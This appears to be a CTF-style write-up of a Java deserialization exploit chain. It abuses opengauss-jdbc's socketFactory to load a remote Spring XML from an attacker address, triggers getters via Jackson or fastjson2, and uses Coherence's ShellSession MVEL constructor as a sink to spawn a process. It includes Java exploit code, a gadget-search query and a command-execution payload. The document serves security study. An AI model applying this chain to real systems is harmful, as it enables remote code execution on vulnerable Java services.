Environment#
The dependencies are as follows, native deserialization entry, jdk version 17, no internet access
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.opengauss</groupId>
<artifactId>opengauss-jdbc</artifactId>
<version>2.0.1-compatibility</version>
</dependency>
<dependency>
<groupId>com.oracle.coherence.ce</groupId>
<artifactId>coherence-rest</artifactId>
<version>14.1.1-0-3</version>
</dependency>
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.37</version>
</dependency>
</dependencies>
JDBC Exploitation#
It can be observed that this problem relies on opengauss-jdbc. Although it is unfamiliar, it can be seen from the code and documentation that it is modified from PostgreSQL JDBC. The classic method is to use socketFactory to trigger the String parameter constructor.
A common method for exploiting network access is ClassPathXmlApplicationContext.
public static void main(String[] args) throws Exception
{
String className = "org.springframework.context.support.ClassPathXmlApplicationContext";
String myargs = "http://192.168.13.1:8000/exp.xml";
Object dataSource = getDataSource(className, myargs);
}
public static Object getDataSource(String className, String myargs) throws Exception
{
Properties properties = new Properties();
properties.setProperty("socketFactory", className);
properties.setProperty("socketFactoryArg", myargs);
PGSimpleDataSource dataSource = new PGSimpleDataSource();
setFieldValue(dataSource, "properties", properties);
dataSource.setUser("test");
dataSource.setPassword("test");
dataSource.setServerName("localhost");
dataSource.setPortNumber(5432);
dataSource.setDatabaseName("test");
return dataSource;
}
Thus, the middle part of the exploitation chain can be temporarily defined as JDBC, and the next step is to trigger the getter and find the sink.
Triggering toString#
In JDK 17, EventListenerList or Xstring can be used, and there may be other exploitation chains present in the dependencies.
toString2getter#
At first glance, the classes that can be exploited include
com.fasterxml.jackson.databind.node.BaseJsonNode
com.alibaba.fastjson2.JSONArray
com.huawei.shade.com.alibaba.fastjson.JSONArray
Jackson
Spring Boot dependencies come with it, can be used freely.
Fastjson
For Fastjson, version 2.0.xx is viable, refer to com.alibaba.fastjson2.writer.ObjectWriterCreatorASM#createObjectWriter.
The JSONArray from com.huawei.shade will be restricted by autotype.
Final Sink#
Finally, a constructor sink point is needed, which can be approached from the coherence-rest dependency. This is a classic WebLogic dependency that contains many deserialization gadgets. We only need a sink point and do not need to implement Serializable.
The cypher query is as follows:
match (source:Method)
where (source.CLASSNAME starts with "com.tangosol." or source.CLASSNAME starts with "com.oracle.")
and source.NAME = "<init>"
and source.HAS_PARAMETERS = true
and source.PARAMETER_SIZE = 1
and source.SUB_SIGNATURE contains "<init>(java.lang.String)"
match (sink:Method{IS_SINK:true})
call tabby.algo.findPath(source, "-", sink, 8, false) yield path
return path limit 20
ShellSession
One entry point of the chain is com.tangosol.coherence.mvel2.sh.ShellSession#ShellSession(java.lang.String).
It can execute MVEL.
ShellSession shellSession = new ShellSession("new java.lang.ProcessBuilder(new java.lang.String[]{\"calc\"}).start()");